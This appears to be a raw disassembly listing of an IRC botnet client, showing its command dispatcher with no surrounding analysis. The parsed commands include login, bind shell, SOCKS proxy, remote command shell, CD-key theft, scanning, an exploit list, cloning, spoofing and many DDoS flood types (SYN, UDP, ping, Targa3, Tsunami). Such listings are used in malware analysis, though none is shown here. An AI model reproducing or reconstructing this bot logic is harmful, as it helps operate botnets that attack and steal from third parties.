mov [ebp+var_2910], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB0], eax
lea eax, [ebp+var_C4]
push 7Fh ; Count
push eax ; Source
lea eax, [ebp+var_2990]
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_2908], eax
mov eax, [ebp+var_8]
mov [ebp+var_2904], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+Dst]
push offset asc_42CEF0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Bh ; int
push eax ; Source
call sub_40B0F7
add esp, 18h
mov [ebp+var_290C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB0]
push ebx
push eax
push offset sub_415C5A
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_290C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_402524
loc_40250E: ; CODE XREF: sub_401ACD+A55j
cmp [ebp+var_2900], ebx
jnz loc_4083BD
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_40250E
; ---------------------------------------------------------------------------
loc_402524: ; CODE XREF: sub_401ACD+A3Fj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42CEB8
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_402535: ; CODE XREF: sub_401ACD+982j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CE88
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_402546: ; CODE XREF: sub_401ACD+972j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CE54
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_402557: ; CODE XREF: sub_401ACD+6D2j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401E94
loc_40256D: ; CODE XREF: sub_401ACD+966j
mov edi, [edi]
push edi ; Str2
push offset aLogin ; "login"
mov [ebp+arg_8], edi
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40985D
push edi ; Str2
push offset asc_42CE50 ; "l"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40985D
cmp [ebp+var_A4], ebx
jnz short loc_4025BE
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409855
loc_4025BE: ; CODE XREF: sub_401ACD+AD5j
cmp [ebp+arg_28], ebx
jnz loc_409855
xor edi, edi
cmp dword_4294D0, ebx
jle loc_402773
mov [ebp+arg_20], offset dword_43D810
loc_4025DC: ; CODE XREF: sub_401ACD+B2Ej
push [ebp+arg_8] ; Str2
push [ebp+arg_20] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_402602
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_4294D0
jl short loc_4025DC
jmp loc_402773
; ---------------------------------------------------------------------------
loc_402602: ; CODE XREF: sub_401ACD+B1Ej
push offset SubStr ; " :"
push [ebp+Src] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43D828[edi]
push 9Fh ; Count
add eax, 4
push ecx ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_402657: ; CODE XREF: sub_401ACD+C3Bj
push [ebp+arg_20]
lea eax, [ebp+SubStr]
push offset aD ; "$%d-"
push eax ; Dest
call _sprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
test eax, eax
jz short loc_4026C3
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026C3
lea eax, dword_43D810[edi]
push eax ; Str
call _strlen
add [ebp+var_C], eax
pop ecx
jz short loc_4026FE
mov eax, [ebp+arg_C]
push dword ptr [eax-4] ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026FE
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_417EEF
add esp, 0Ch
jmp short loc_4026FE
; ---------------------------------------------------------------------------
loc_4026C3: ; CODE XREF: sub_401ACD+BB2j
; sub_401ACD+BB9j
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026FE
lea eax, [ebp+SubStr]
push 2 ; Count
push eax ; Source
lea eax, [ebp+var_94]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_417EEF
add esp, 18h
loc_4026FE: ; CODE XREF: sub_401ACD+BCBj
; sub_401ACD+BDFj ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_402657
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40271B: ; CODE XREF: sub_401ACD+C9Aj
push [ebp+arg_20]
lea eax, [ebp+SubStr]
push offset aD_1 ; "$%d"
push eax ; Dest
call _sprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
test eax, eax
jz short loc_40275E
mov eax, [edi]
cmp eax, ebx
jz short loc_40275E
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_417EEF
add esp, 0Ch
loc_40275E: ; CODE XREF: sub_401ACD+C76j
; sub_401ACD+C7Cj
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40271B
mov [ebp+var_2C8], 1
loc_402773: ; CODE XREF: sub_401ACD+B02j
; sub_401ACD+B30j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_40278C
cmp [ebp+var_2C8], ebx
jz loc_40297D
loc_40278C: ; CODE XREF: sub_401ACD+CB1j
push [ebp+Source] ; Source
mov edi, [ebp+Src]
push offset aMe ; "$me"
push edi ; Src
call sub_417EEF
lea eax, [ebp+var_C4]
push eax ; Source
push offset aUser ; "$user"
push edi ; Src
call sub_417EEF
push [ebp+Format] ; Source
push offset aChan ; "$chan"
push edi ; Src
call sub_417EEF
push ebx ; Str1
push ebx ; int
lea eax, [ebp+SubStr]
push 2 ; int
push eax ; Dest
call sub_40B08E
push eax ; Source
push offset aRndnick ; "$rndnick"
push edi ; Src
call sub_417EEF
add esp, 40h
push [ebp+arg_14] ; Source
push offset aServer ; "$server"
push edi ; Src
call sub_417EEF
mov edi, offset aChr ; "$chr("
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
loc_4027FE: ; CODE XREF: sub_401ACD+E29j
test eax, eax
jz loc_4028FB
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
mov [ebp+Source], eax
add eax, 5
push 4 ; Count
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; Dest
call _strncpy
lea eax, [ebp+SubStr]
push offset asc_42CE10 ; ")"
push eax ; Str
call _strtok
add esp, 1Ch
cmp [ebp+SubStr], 30h
jl short loc_40284A
cmp [ebp+SubStr], 39h
jle short loc_402860
loc_40284A: ; CODE XREF: sub_401ACD+D72j
push 3 ; Count
lea eax, [ebp+SubStr]
push offset a63 ; "63"
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_402860: ; CODE XREF: sub_401ACD+D7Bj
lea eax, [ebp+SubStr]
push eax ; Str
call _atoi
test eax, eax
pop ecx
jle short loc_402886
lea eax, [ebp+SubStr]
push eax ; Str
call _atoi
pop ecx
mov [ebp+var_94], al
jmp short loc_40289A
; ---------------------------------------------------------------------------
loc_402886: ; CODE XREF: sub_401ACD+DA2j
call _rand
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_40289A: ; CODE XREF: sub_401ACD+DB7j
lea eax, [ebp+SubStr]
mov [ebp+var_93], bl
push eax ; Str
call _strlen
mov [ebp+arg_20], eax
push 0Ch ; Size
lea eax, [ebp+SubStr]
push ebx ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_20]
add eax, 6
push eax ; Count
lea eax, [ebp+SubStr]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_94]
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_417EEF
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 30h
jmp loc_4027FE
; ---------------------------------------------------------------------------
loc_4028FB: ; CODE XREF: sub_401ACD+D33j
mov edi, 1FFh
lea eax, [ebp+Str]
push edi ; Count
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+Str]
push edi ; Count
push eax ; Source
lea eax, [ebp+var_4AF0]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_4AF0]
push offset asc_42D124 ; " "
push eax ; Str
call _strtok
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+Args]
mov [ebp+Source], 1Fh
loc_40294B: ; CODE XREF: sub_401ACD+E93j
push offset asc_42D124 ; " "
push ebx ; Str
call _strtok
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+Source]
pop ecx
jnz short loc_40294B
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401E94
add ecx, 3
mov [eax], ecx
loc_40297D: ; CODE XREF: sub_401ACD+CB9j
mov edi, [ebp+esi+var_90]
push edi ; Str2
push offset aRndnick_0 ; "rndnick"
mov [ebp+arg_8], edi
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409803
push edi ; Str2
push offset aRn ; "rn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409803
push edi ; Str2
push offset aDie ; "die"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4049FD
push edi ; Str2
push offset aD_0 ; "d"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4049FD
push edi ; Str2
push offset aLogout ; "logout"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404955
push edi ; Str2
push offset aLo ; "lo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404955
push edi ; Str2
push offset aVersion ; "version"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404946
push edi ; Str2
push offset aVer ; "ver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404946
push edi ; Str2
push offset aDedication ; "dedication"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40493C
push edi ; Str2
push offset aDed ; "ded"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40493C
push edi ; Str2
push offset aSpeedtest ; "speedtest"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404923
push edi ; Str2
push offset aSt ; "st"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404923
push edi ; Str2
push offset aSecure ; "secure"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404825
push edi ; Str2
push offset aSec ; "sec"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404825
push edi ; Str2
push offset aUnsecure ; "unsecure"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404825
push edi ; Str2
push offset aUnsec ; "unsec"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404825
push edi ; Str2
push offset aBindshell ; "bindshell"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40471F
push edi ; Str2
push offset aBd ; "bd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40471F
push edi ; Str2
push offset aBindshellstop ; "bindshellstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402B41
push dword ptr [ebp+esi+Args] ; Str
push 6 ; int
push offset aServer_0 ; "Server"
push offset dword_42CD64 ; int
loc_402B25: ; CODE XREF: sub_401ACD+10C2j
; sub_401ACD+10E8j ...
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push [ebp+arg_4] ; int
call sub_40B385
add esp, 20h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402B41: ; CODE XREF: sub_401ACD+1043j
push edi ; Str2
push offset aSocks4 ; "socks4"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045FD
push edi ; Str2
push offset aS4 ; "s4"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045FD
push edi ; Str2
push offset aSocks4stop ; "socks4stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402B91
push dword ptr [ebp+esi+Args]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42CD3C
jmp short loc_402B25
; ---------------------------------------------------------------------------
loc_402B91: ; CODE XREF: sub_401ACD+10ADj
push edi ; Str2
push offset aRloginstop ; "rloginstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402BBA
push dword ptr [ebp+esi+Args]
push 9
push offset aServer_0 ; "Server"
push offset dword_42CD20
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402BBA: ; CODE XREF: sub_401ACD+10D3j
push edi ; Str2
push offset aHttpstop ; "httpstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402BE3
push dword ptr [ebp+esi+Args]
push 3
push offset aServer_0 ; "Server"
push offset dword_42CD04
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402BE3: ; CODE XREF: sub_401ACD+10FCj
push edi ; Str2
push offset aLogstop ; "logstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402C0C
push dword ptr [ebp+esi+Args]
push 25h
push offset aLogList ; "Log list"
push offset dword_42CCE4
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402C0C: ; CODE XREF: sub_401ACD+1125j
push edi ; Str2
push offset aRedirectstop ; "redirectstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402C35
push dword ptr [ebp+esi+Args]
push 18h
push offset aTcpRedirect ; "TCP redirect"
push offset dword_42CCB4
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402C35: ; CODE XREF: sub_401ACD+114Ej
push edi ; Str2
push offset aDdos_stop ; "ddos.stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402C5E
push dword ptr [ebp+esi+Args]
push 0Dh
push offset aDdosFlood ; "DDoS flood"
push offset dword_42CC90
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402C5E: ; CODE XREF: sub_401ACD+1177j
push edi ; Str2
push offset aSynstop ; "synstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402C87
push dword ptr [ebp+esi+Args]
push 0Eh
push offset aSynFlood ; "Syn flood"
push offset dword_42CC70
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402C87: ; CODE XREF: sub_401ACD+11A0j
push edi ; Str2
push offset aSkysynstop ; "skysynstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402CB0
push dword ptr [ebp+esi+Args]
push 10h
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_42CC44
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402CB0: ; CODE XREF: sub_401ACD+11C9j
push edi ; Str2
push offset aTarga3stop ; "targa3stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD9
push dword ptr [ebp+esi+Args]
push 11h
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_42CC18
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402CD9: ; CODE XREF: sub_401ACD+11F2j
push edi ; Str2
push offset aWonkstop ; "wonkstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402D02
push dword ptr [ebp+esi+Args]
push 12h
push offset aWonkFlood ; "Wonk flood"
push offset dword_42CBF4
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402D02: ; CODE XREF: sub_401ACD+121Bj
push edi ; Str2
push offset aPacketstop ; "packetstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_402E58
mov esi, dword ptr [ebp+esi+Args]
mov edi, [ebp+arg_4]
push esi ; Str
push 0Dh ; int
push offset aDdosFlood ; "DDoS flood"
push offset dword_42CC90 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B385
push esi ; Str
push 0Eh ; int
push offset aSynFlood ; "Syn flood"
push offset dword_42CC70 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B385
add esp, 40h
push esi ; Str
push 17h ; int
push offset aUdpFlood ; "UDP flood"
push offset dword_42CBD0 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B385
push esi ; Str
push 16h ; int
push offset aPingFlood ; "Ping flood"
push offset dword_42CBB8 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B385
add esp, 40h
push esi ; Str
push 11h ; int
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_42CC18 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B385
push esi ; Str
push 12h ; int
push offset aWonkFlood ; "Wonk flood"
push offset dword_42CBF4 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B385
add esp, 40h
push esi ; Str
push 0Fh ; int
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_42CB98 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B385
push esi ; Str
push 13h ; int
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_42CB78 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B385
add esp, 40h
push esi ; Str
push 10h ; int
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_42CC44 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B385
push ebx ; int
push [ebp+var_4] ; int
push offset unk_42CB44 ; int
push [ebp+Format] ; Str
push edi ; int
call sub_409A73
add esp, 34h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402E58: ; CODE XREF: sub_401ACD+1244j
push edi ; Str2
push offset aTsunamistop ; "tsunamistop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402E81
push dword ptr [ebp+esi+Args]
push 0Fh
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_42CB98
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402E81: ; CODE XREF: sub_401ACD+139Aj
push edi ; Str2
push offset aWisdomstop ; "wisdomstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402EAA
push dword ptr [ebp+esi+Args]
push 13h
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_42CB78
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402EAA: ; CODE XREF: sub_401ACD+13C3j
push edi ; Str2
push offset aUdpstop ; "udpstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402ED3
push dword ptr [ebp+esi+Args]
push 17h
push offset aUdpFlood ; "UDP flood"
push offset dword_42CBD0
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402ED3: ; CODE XREF: sub_401ACD+13ECj
push edi ; Str2
push offset aPingstop ; "pingstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402EFC
push dword ptr [ebp+esi+Args]
push 16h
push offset aPingFlood ; "Ping flood"
push offset dword_42CBB8
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402EFC: ; CODE XREF: sub_401ACD+1415j
push edi ; Str2
push offset aTftpstop ; "tftpstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402F25
push dword ptr [ebp+esi+Args]
push 5
push offset aServer_0 ; "Server"
push offset dword_42CAFC
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402F25: ; CODE XREF: sub_401ACD+143Ej
push edi ; Str2
push offset aFindfilestop ; "findfilestop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045E5
push edi ; Str2
push offset aFfstop ; "ffstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045E5
push edi ; Str2
push offset aProcsstop ; "procsstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045CD
push edi ; Str2
push offset aPsstop ; "psstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045CD
push edi ; Str2
push offset aClonestop ; "clonestop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402FA2
push dword ptr [ebp+esi+Args]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42CAAC
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402FA2: ; CODE XREF: sub_401ACD+14BBj
push edi ; Str2
push offset aSecurestop ; "securestop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402FCB
push dword ptr [ebp+esi+Args]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42CA88
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402FCB: ; CODE XREF: sub_401ACD+14E4j
push edi ; Str2
push offset aScanstop ; "scanstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402FF4
push dword ptr [ebp+esi+Args]
push 0Bh
push offset aScan ; "Scan"
push offset dword_42CA68
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402FF4: ; CODE XREF: sub_401ACD+150Dj
push edi ; Str2
push offset aScanstats ; "scanstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045B7
push edi ; Str2
push offset aStats ; "stats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045B7
push edi ; Str2
push offset aTransferstats ; "transferstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi ; Str2
push offset aTrstats ; "trstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi ; Str2
push offset aConnectbacksta ; "connectbackstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40458B
push edi ; Str2
push offset aCbstats ; "cbstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40458B
push edi ; Str2
push offset aExploitlist ; "exploitlist"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404575
push edi ; Str2
push offset aExplist ; "explist"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404575
push edi ; Str2
push offset aReconnect ; "reconnect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404556
push edi ; Str2
push offset aR ; "r"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404556
push edi ; Str2
push offset aDisconnect ; "disconnect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404534
push edi ; Str2
push offset aDc ; "dc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404534
push edi ; Str2
push offset aQuit_0 ; "quit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4044EC
push edi ; Str2
push offset aQ ; "q"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4044EC
push edi ; Str2
push offset aStatus ; "status"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4044D8
push edi ; Str2
push offset aS_5 ; "s"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4044D8
push edi ; Str2
push offset aId ; "id"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4044A1
push edi ; Str2
push offset aI ; "i"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4044A1
push edi ; Str2
push offset aReboot ; "reboot"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4031C0
call sub_418338
test eax, eax
mov eax, offset asc_42C9A4 ; "-"
jnz short loc_403192
mov eax, offset unk_42C97C
loc_403192: ; CODE XREF: sub_401ACD+16BEj
push eax ; Format
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 1Ch
jmp loc_4083BD
; ---------------------------------------------------------------------------
loc_4031C0: ; CODE XREF: sub_401ACD+16B0j
push edi ; Str2
push offset aThreads ; "threads"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4043C2
push edi ; Str2
push offset aT ; "t"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4043C2
push edi ; Str2
push offset aAliases ; "aliases"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40439F
push edi ; Str2
push offset aAl ; "al"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40439F
push edi ; Str2
push offset aLog ; "log"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4042AC
push edi ; Str2
push offset aLg ; "lg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4042AC
push edi ; Str2
push offset aClearlog ; "clearlog"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404293
push edi ; Str2
push offset aClg ; "clg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404293
push edi ; Str2
push offset aNetinfo ; "netinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404259
push edi ; Str2
push offset aNi ; "ni"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404259
push edi ; Str2
push offset aSysinfo ; "sysinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40422E
push edi ; Str2
push offset aSi ; "si"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40422E
push edi ; Str2
push offset aLsp100 ; "lsp100"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4041F4
push edi ; Str2
push offset aLsp100 ; "lsp100"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4041F4
push edi ; Str2
push offset aProcs ; "procs"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4040D1
push edi ; Str2
push offset aPs ; "ps"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4040D1
push edi ; Str2
push offset aGetcdkeys ; "getcdkeys"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4040B3
push edi ; Str2
push offset aKey ; "key"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4040B3
push edi ; Str2
push offset aUptime ; "uptime"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40402B
push edi ; Str2
push offset aUp ; "up"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40402B
push edi ; Str2
push offset aDriveinfo ; "driveinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40400E
push edi ; Str2
push offset aDrv ; "drv"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40400E
push edi ; Str2
push offset aTestdlls ; "testdlls"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403FF5
push edi ; Str2
push offset aDll ; "dll"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403FF5
push edi ; Str2
push offset aOpencmd ; "opencmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403FB6
push edi ; Str2
push offset aOcmd ; "ocmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403FB6
push edi ; Str2
push offset aCmdstop ; "cmdstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40340B
push dword ptr [ebp+esi+Args]
push 0Ah
push offset aRemoteShell ; "Remote shell"
push offset dword_42C8B0
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_40340B: ; CODE XREF: sub_401ACD+1924j
push edi ; Str2
push offset aWho ; "who"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_403528
cmp [ebp+var_8], ebx
jnz short loc_40343F
push ebx ; int
push [ebp+var_4] ; int
push offset dword_42C898 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
loc_40343F: ; CODE XREF: sub_401ACD+1956j
mov eax, [ebp+arg_18]
mov [ebp+arg_20], ebx
mov [ebp+arg_18], eax
jmp short loc_40344D
; ---------------------------------------------------------------------------
loc_40344A: ; CODE XREF: sub_401ACD+19CCj
mov eax, [ebp+arg_18]
loc_40344D: ; CODE XREF: sub_401ACD+197Bj
cmp [eax], bl
jz short loc_403454
inc eax
jmp short loc_403459
; ---------------------------------------------------------------------------
loc_403454: ; CODE XREF: sub_401ACD+1982j
mov eax, offset aEmpty ; "<Empty>"
loc_403459: ; CODE XREF: sub_401ACD+1985j
push eax
lea eax, [ebp+Dst]
push [ebp+arg_20]
push offset aD_S ; "%d. %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add [ebp+arg_18], 80h
add esp, 24h
inc [ebp+arg_20]
cmp [ebp+arg_20], 3
jl short loc_40344A
push offset unk_42C864
call sub_4151AD
pop ecx
loc_4034A6: ; CODE XREF: sub_401ACD+1C5Bj
; sub_401ACD+2F44j
mov eax, dword ptr [ebp+esi+Args]
cmp eax, ebx
mov [ebp+Source], eax
jz loc_401E94
push edi ; Str2
push offset aSpoof ; "spoof"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_404AF5
mov esi, [ebp+Source]
push offset Str2 ; "off"
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
